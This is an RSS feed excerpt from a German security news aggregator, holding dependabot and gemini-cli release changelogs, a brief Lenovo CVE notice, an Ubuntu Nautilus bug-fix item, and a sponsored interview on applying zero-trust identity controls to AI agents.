<li>Clear T.untyped from already-strong ecosystem files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880025222" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15573" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15573/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15573">#15573</a></li>
<li>Update branch name case values to align with schema accepted values by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4896350580" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15592" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15592/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15592">#15592</a></li>
<li>julia: fix TypeError when a cooldown is configured by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894957881" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15591" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15591/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15591">#15591</a></li>
<li>Fix codespell typo in updater job spec by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900648669" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15599" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15599/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15599">#15599</a></li>
<li>Swift: SemVer-compliant version comparison and validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/v-HaripriyaC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/v-HaripriyaC">@v-HaripriyaC</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4891805578" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15589" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15589/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15589">#15589</a></li>
<li>Type git source details by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4896503633" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15593" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15593/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15593">#15593</a></li>
<li>Expose typed git source details by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4897605250" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15594" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15594/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15594">#15594</a></li>
<li>v0.387.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4904637892" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15604" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15604/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15604">#15604</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RinseV/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RinseV">@RinseV</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597635124" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15231" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15231/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15231">#15231</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.386.0...v0.387.0"><tt>v0.386.0...v0.387.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-9046 | Lenovo Legion Zone/App Store Permissions permission (EUVD-2026-44975)]]></title>
<description><![CDATA[A vulnerability was found in Lenovo Legion Zone and App Store and classified as problematic. This impacts an unknown function of the component Permissions. Such manipulation leads to permission issues.

This vulnerability is documented as CVE-2026-9046. The attack needs to be performed locally. T...]]></description>
<link>https://tsecurity.de/de/3674451/sicherheitsluecken/cve-2026-9046-lenovo-legion-zoneapp-store-permissions-permission-euvd-2026-44975/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674451/sicherheitsluecken/cve-2026-9046-lenovo-legion-zoneapp-store-permissions-permission-euvd-2026-44975/</guid>
<pubDate>Thu, 16 Jul 2026 21:05:33 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/lenovo:legion_zone">Lenovo Legion Zone and App Store</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This impacts an unknown function of the component <em>Permissions</em>. Such manipulation leads to permission issues.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-9046">CVE-2026-9046</a>. The attack needs to be performed locally. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ubuntu 26.04 fixes trash dialog bug that defaulted to cancel]]></title>
<description><![CDATA[Ubuntu 26.04 LTS is getting a fix for Nautilus that restores ‘Delete’ as the focused button in the trash confirmation dialog, undoing an accidental swap that made ‘Cancel’ the focused button instead. That ‘unintentional’ focus flip meant you could no longer hit enter to action file deletion for T...]]></description>
<link>https://tsecurity.de/de/3674378/linux-tipps/ubuntu-2604-fixes-trash-dialog-bug-that-defaulted-to-cancel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674378/linux-tipps/ubuntu-2604-fixes-trash-dialog-bug-that-defaulted-to-cancel/</guid>
<pubDate>Thu, 16 Jul 2026 20:22:03 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/06/ubuntu-trash-icons.jpg?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="Ubuntu trash can icons" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/06/ubuntu-trash-icons.jpg?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/06/ubuntu-trash-icons.jpg?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/06/ubuntu-trash-icons.jpg?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/06/ubuntu-trash-icons.jpg?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">Ubuntu 26.04 LTS is getting a fix for Nautilus that restores ‘Delete’ as the focused button in the trash confirmation dialog, undoing an accidental swap that made ‘Cancel’ the focused button instead. That ‘unintentional’ focus flip meant you could no longer hit enter to action file deletion for Trash since it instead cancelled it. I’ve lost count of the times I’ve assumed I emptied the trash since upgrading to Ubuntu 26.04 LTS, only to find I hadn’t. My muscle memory has struggled to adapt to needing to explicitly click (or tab to) the delete button. Annoying, but thankfully not intentional. […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/ubuntu-26-04-trash-dialog-cancel-button-fix">Ubuntu 26.04 fixes trash dialog bug that defaulted to cancel</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zero trust must now move at agent speed]]></title>
<description><![CDATA[Presented by Ping Identity Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system...]]></description>
<link>https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Ping Identity </i></p><hr><p>Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system should be automatically trusted, requires continuous verification before every action rather than a single check at login. Agentic AI has profoundly compressed the risk timeline enterprises must manage, demanding that permission decisions be evaluated in real time.</p><p><span>type: <!-- -->embedded-entry-inline<!-- --> id: <!-- -->1Ieiy1KhHNWZE5KVqNdA1G</span></p><p>That compression shows up in how permissions accumulate. Every time an employee approves an AI agent's request for access to a company drive, a database, or a code repository, the enterprise hands over a sliver of control that looks routine in isolation. Across thousands of agents making thousands of requests, those approvals accumulate into an exposure that most existing security architectures were never built to measure.</p><p>"The rise in desire to use agents right now, and the speed of agentic, is highlighting the need to move faster on the principles of zero trust," Durand says. "Agents just move faster, full stop. A human compromise might be measured in minutes or hours, sometimes days. At agentic speed, a thousand actions could happen in five minutes."</p><h2>Why zero trust is now urgent for agentic AI</h2><p>That difference in velocity changes how enterprises need to think about permissions. Two variables matter: the surface area of access an agent is granted and the duration that access remains valid. Traditional identity and access management tends to grant broad permissions and leave sessions open for extended periods because the human using them moves at human speed. Zero trust, in contrast, collapses both variables at once by narrowing access down to what is strictly necessary and revalidating it continuously, rather than once at login.</p><p>"Zero trust really just says, just enough, just in time," Durand says. "It's your next action that we care about. We're moving identity from an era where access was our runtime control point — meaning were you logged in, did you have a session — toward the decision that sits behind that login."</p><h2>Why agents must be treated as first-class identities</h2><p>That shift to decision-based control has direct implications for how agents should be provisioned in the first place. The common practice of letting an agent operate under a cloned human login or a shared service account doesn't work, Durand says. </p><p>"Each agent should have its own identity," he explains. "It should not be impersonating the human. It can act on behalf of the human, we could explicitly delegate authority to an agent, but we don't want to blur the lines between the human taking action and the agent taking action."</p><p>And beyond that is another concern: the shared secrets, API keys in particular, that many service accounts still rely on. For example, the habit of embedding keys directly in source code, where they can be committed accidentally and exposed, is a convenient but weak security pattern that agentic workflows make considerably riskier. Building service account architectures that let agents authenticate without relying on those shared credentials or other long-lived standing access is now an urgent priority rather than a long-term cleanup project.</p><h2>Where enterprises can enforce zero trust policies</h2><p>Enforcing any of this in practice requires identifying where policy can actually be applied. Several existing choke points, including API gateways and the agent gateway sitting in front of MCP servers, offer practical locations where enterprises can inspect what an agent is requesting and apply policy rules before granting it.</p><p>"Those policies could leverage real-time risk and fraud signals, and then enforce, deterministically, what the agent can do when it interacts with these systems," Durand explains.</p><p>The goal is to move authorization from something decided once at login to something evaluated at the moment of every consequential action, such as an agent attempting to commit code to a repository. Instead of carrying a standing permission to write to GitHub, the agent's request would be checked against context and policy at that specific moment, closing the window of trust down to the scope of a single action.</p><h2>Stopping AI agents from rewriting their own permissions</h2><p>That model becomes especially important given how agents can behave once they are already inside a system — for example, coding agents that have acknowledged, when questioned, either ignoring a specific guardrail entirely, or attempting to rewrite the permissions they were given.</p><p>"Who's watching the watcher? Zero trust needs to apply here," Durand says. "If generative AI systems follow your instruction 97% of the time, and you're simply asking it for advice, that might be fine. If it's responsible for making a decision about who gets let in, 97% is not good enough."</p><h2>How to trust AI-generated output at agent speed</h2><p>The answer to that gap is not to eliminate AI from the review process, but to structure reviews so no single agent’s judgment is taken at face value. Because human review cannot scale to the volume and speed of agentic output without erasing the advantage of using agents at all, a new framework is necessary, so that when one agent produces work, such as code, separate agents evaluate it, provided those reviewing agents are kept from communicating with one another or with the one they are checking. It's a new human-AI paradigm, Durand says.</p><p>"We probably will have to develop frameworks that we trust without seeing or verifying the output directly," he explains. "It's not that that construct is 100% foolproof. However, it's the best we can do to move at agent speed. We can't trust the exact output, but we can trust the framework."</p><p>In practice, that means combining automated review with clear human accountability for higher-risk decisions, rather than treating agent output as self-validating. </p><p>For traditional auditors, reviewing every transaction individually is never feasible, and statistically valid sampling stands in for full verification. The same applies to risk accumulation: a single agent action might carry little risk on its own, while a sequence of actions moving in a consistent direction could cross a threshold that triggers an intervention, including a kill switch capable of halting the agent before further harm occurs.</p><h2>What to ask when evaluating agentic identity platforms</h2><p>For security leaders evaluating identity platforms for agentic AI, there's no narrow checklist. Enterprises should evaluate what their full lifecycle of agent management looks like. Most enterprises are managing agents on two fronts simultaneously: customer-facing agents acting on behalf of external users, and internal agents deployed to automate enterprise processes.</p><p>"Pause long enough to see the totality of what it would mean to secure multiple agents, both interacting with you from the outside as well as being deployed on the inside," Durand says. "We need discovery and visibility of all the agents operating within our estate, a place to register them, a standard way to assign custodians, and a way to construct and centralize policy so security can enforce it across the organization."</p><p>And while basic security principles were already fully understood before agentic AI arrived, what has changed, Durand says, is that the cost of moving slowly has finally caught up with the cost of moving carelessly, giving enterprises a narrowing window to build the right architecture before widespread agentic adoption makes retrofitting far more expensive. </p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-preview.0]]></title>
<description><![CDATA[What's Changed

Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
feat(caretaker-egress): implement octokit github action handler for egress service by @cha...]]></description>
<link>https://tsecurity.de/de/3674254/downloads/release-v0520-preview0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674254/downloads/release-v0520-preview0/</guid>
<pubDate>Thu, 16 Jul 2026 19:16:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Refactor: exclude transient CI configuration files from workspace context by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4771753114" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28216" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28216/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28216">#28216</a></li>
<li>feat(caretaker-triage): add triage worker core foundational modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753861958" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28163" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28163/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28163">#28163</a></li>
<li>feat(caretaker-egress): implement octokit github action handler for egress service by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830419267" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28303" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28303/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28303">#28303</a></li>
<li>chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840274631" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28323" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28323/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28323">#28323</a></li>
<li>Changelog for v0.51.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839873704" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28320" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28320/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28320">#28320</a></li>
<li>Changelog for v0.50.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840167585" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28322" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28322/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28322">#28322</a></li>
<li>fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780686006" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28223" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28223/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28223">#28223</a></li>
<li>fix(core): use unambiguous previous intent label in fallback summary by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848950194" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28343" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28343/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28343">#28343</a></li>
<li>feat(caretaker-triage): implement main worker execution loop and egress action publisher by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832842460" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28306" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28306/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28306">#28306</a></li>
<li>fix(privacy): show a clear message when the account has no Code Assist tier by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830501064" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28304" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28304/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28304">#28304</a></li>
<li>fix(core): enrich shared project quota limit errors with setup hint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875463769" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28391" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28391/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28391">#28391</a></li>
<li>fix(a2a-server): ensure task cancellation aborts execution loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4838860348" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28316" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28316/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28316">#28316</a></li>
<li>fix(core): simplify plan mode write policy to support relative paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876823809" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28398" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28398/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28398">#28398</a></li>
<li>feat(core): Bump node google-auth-library version to 10.9.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869745101" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28385" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28385/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28385">#28385</a></li>
<li>chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888459983" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28402" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28402/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28402">#28402</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.51.0-preview.0...v0.52.0-preview.0"><tt>v0.51.0-preview.0...v0.52.0-preview.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.51.0]]></title>
<description><![CDATA[What's Changed

Changelog for v0.50.0-preview.1 by @gemini-cli-robot in #28150
Fix no_proxy test by @jerrylin3321 in #28131
chore(release): bump version to 0.51.0-nightly.20260625.g3fbf93e26 by @gemini-cli-robot in #28151
Vertex base url update by @DavidAPierce in #28145
fix(security): enforce ca...]]></description>
<link>https://tsecurity.de/de/3674253/downloads/release-v0510/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674253/downloads/release-v0510/</guid>
<pubDate>Thu, 16 Jul 2026 19:16:57 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Changelog for v0.50.0-preview.1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746996130" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28150" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28150/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28150">#28150</a></li>
<li>Fix no_proxy test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737974425" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28131" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28131/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28131">#28131</a></li>
<li>chore(release): bump version to 0.51.0-nightly.20260625.g3fbf93e26 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4747089380" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28151" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28151/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28151">#28151</a></li>
<li>Vertex base url update by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746099458" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28145" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28145/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28145">#28145</a></li>
<li>fix(security): enforce case-insensitive sensitive path blocklist and vscode hitl by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677175748" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/27966" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/27966/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/27966">#27966</a></li>
<li>fix(core-tools): resolve defensive path resolution for at-reference files and fix macOS tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703799978" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28053" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28053/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28053">#28053</a></li>
<li>feat(caretaker): implement Cloud Run webhook ingestion service by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694763384" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28015" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28015/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28015">#28015</a></li>
